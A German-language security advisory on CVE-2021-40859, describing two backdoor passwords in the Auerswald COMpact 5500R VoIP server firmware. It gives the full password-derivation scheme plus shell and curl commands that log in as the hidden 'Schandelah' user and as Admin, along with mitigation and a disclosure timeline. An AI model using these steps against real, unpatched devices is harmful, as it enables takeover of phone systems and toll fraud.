In der Firmware des Auerswald COMpact 5500R VoIP-Server mit der Firmware 7.8A und 8.0B wurden zwei Backdoorpasswörter gefunden.
Während eines Penetrationstests wurden in der Firmware des COMpact 5500R PBX mit der Firmware 7.8A und 8.0B zwei Backdoorpasswörter gefunden. Das Problem wurde unter der CVE CVE-2021-40859 registriert und anschließend vom Hersteller Auerswald mit einer neuen Firmware 8.2B behoben.
Auerswald VoIP COMpact 5500R
Beim Auerswald VoIP COMpact 5500R handelt es sich um eine VoIP-Appliance, also vereinfacht gesagt um einen Server zur Verwaltung und Steuerung von VoIP-Telefonen. Würde ein Angreifer Zugriff auf diesen Server erlangen, könnte er problemlos die Telefonleitungen des Unternehmens für eigene Zwecke, wie zum Beispiel Phishing verwenden. Auch könnte er damit massenhaft kostenpflichtige Rufnummern wählen. Kurz: Ein Zugriff auf ein solches VoIP-System ist sehr kritisch!
Erste Schritte: Firmware des COMpact 5500R zerlegen
Die Firmware des COMpact 5500R lässt sich direkt von der Herstellerwebseite herunterladen. Dies erspart das Extrahieren der Firmware vom Gerät selbst.
Die Firmware ist als gz-Datei gepackt. Entpackt man dieses Archiv, erhält man ein U-Boot uImage. U-Boot ist ein spezieller Bootloader für eingebettete Systeme. Das uImage erhält außerdem die eigentliche Firmware. Die einzelnen Partitionen der Firmware lassen sich mit dem Linux-Tool dumpimage über den Parameter „-l“ auflisten.
$ dumpimage -l 7_8A_002_COMpact5500.rom
Beispiel aus Firmwareanalyse von RedTeam
Image Name:
CP5500 125850
Created:
Wed Sep 23 17:04:38 2020
Image Type:
ARM Linux Multi-File Image (uncompressed)
Data Size:
196976634 Bytes = 192359.99 KiB = 187.85 MiB
Load Address: 00000000
Entry Point: 00000000
Contents:
Image 0: 512 Bytes = 0.50 KiB = 0.00 MiB
Image 1: 196976110 Bytes = 192359.48 KiB = 187.85 MiB
Daraus wird ersichtlich, dass es sich um zwei Teilimages handelt. Mit dumpimage lässt sich über den Parameter „-p 1 COMpact5500.rootfs“ anschließend das Dateisystem der Firmware heraustrennen. Mit dem Tool file lässt sich als Nächstes feststellen, um was für ein Dateisystem es sich handelt (ext2) und per mount lässt sich dieses dann anschließend auch einbinden.
$ file COMpact5500.rootfs
COMpact5500.rootfs: Linux rev 1.0 ext2 filesystem data, UUID=c3604712-a2ca-412f-81ca-
f302d7f20ef1, volume name „7.8A_002_125850.“$ sudo mount -o loop,ro COMpact550.rootfs /mnt
Die Firmware des VoIP-Servers ist nun ein offenes Buch
Jetzt lässt sich das Dateisystem nach Belieben untersuchen. Beispielsweise verwendet die Auerswald VoIP COMpact 5500R als Webserver lighttpd. Die Konfigurationsdateien finden sich unter /opt/auerswald/lighttpd. Viele Anfragen des Webservers werden per FastCGI an ein Programm unter /opt/auerswald/web/webserver weitergeleitet. Dieses kann zum Beispiel mit Ghidra, einem Reverse Engineering Tool, analysiert werden.
Die Analyse von RedTeam ergab dabei, dass die Firmware einen versteckten Benutzer namens „Schandelah“ enthält. Sein Passwort ist fest einprogrammiert und wird aus der Seriennummer des Geräts, dem String „r2d2“ und dem aktuellen Datum generiert. Anschließend hasht man das Kennwort noch per MD5 und verwendet nur die ersten 7 Zeichen des Hashs.
$ echo -n 1234123412r2d230.08.2021 | md5sum | egrep -o ‚^.{7}‘
1432d89
Dieses Kennwort kann anschließend verwendet werden, um sich im Webinterface des PBX-Servers COMpact 5500R anzumelden.
$ curl –include –user ‚Schandelah:1432d89‘ –anyauth
https://192.168.1.2/treeHTTP/1.1 302 Found
Location: /statics/html/page_servicetools.html
Set-Cookie: AUERSessionID1234123412=AXCTMGGCCUAGBSE; HttpOnly; Path=/
[…]$ curl –cookie ‚AUERSessionID1234123412=AXCTMGGCCUAGBSE‘ –include
https://192.168.1.2/logstatus_stateHTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: application/json; charset=utf-8;
[…]{„logstatus“:“Haendler“}
Eine weitere Backdoor im COMpact 5500R betrifft den User „Admin“. Neben dem eigentlich gesetzten Kennwort kann auch hier ein weiteres, für einen Angreifer ableitbares Kennwort, generiert werden. Dieses besteht aus der Seriennummer des Geräts, dem String „r2d2“, dem aktuellen Datum und der eingestellten Sprache. Anschließend hasht man das Kennwort noch per MD5 und verwendet nur die ersten sieben Zeichen des Hashs.
$ echo -n 1234123412r2d230.08.2021DE | md5sum | egrep -o ‚^.{7}‘
92fcdd9$ curl –user ‚Admin:92fcdd9‘ –anyauth –include
https://192.168.1.2/treeHTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=MLJHCDLPMXPNKWY; HttpOnly; Path=/
[…][{„login“:3,“userId“:0,“userName“:““,[…]}]
$ curl –cookie ‚AUERSessionID1234123412=MLJHCDLPMXPNKWY‘ –include
https://192.168.1.2/logstatus_stateHTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[…]{„logstatus“:“Administrator“}
Schutz vor der Backdoor in der Auerswald VoIP Lösung
Um sich vor einem Angriff zu schützen, muss das Webinterface gänzlich deaktiviert werden oder eine Firmware in Version >=8.2B auf dem COMpact 5500R installiert werden.
Timeline über den Vorfall
- 2021-08-26 Sicherheitslücke identifiziert
- 2021-09-01 Kunde genehmigt Offenlegung an Hersteller Auerswald.
- 2021-09-10 Hersteller benachrichtigt
- 2021-09-10 CVE-ID angefordert
- 2021-09-10 CVE-ID zugewiesen
- 2021-10-05 Hersteller gewährt Zugang zu Gerät mit korrigierter Firmware
- 2021-10-11 Hersteller stellt korrigierte Firmware zur Verfügung
- 2021-10-15 RedTeam Pentesting prüft Gerät, Schwachstelle scheint behoben zu sein
- 2021-12-06 Bericht veröffentlicht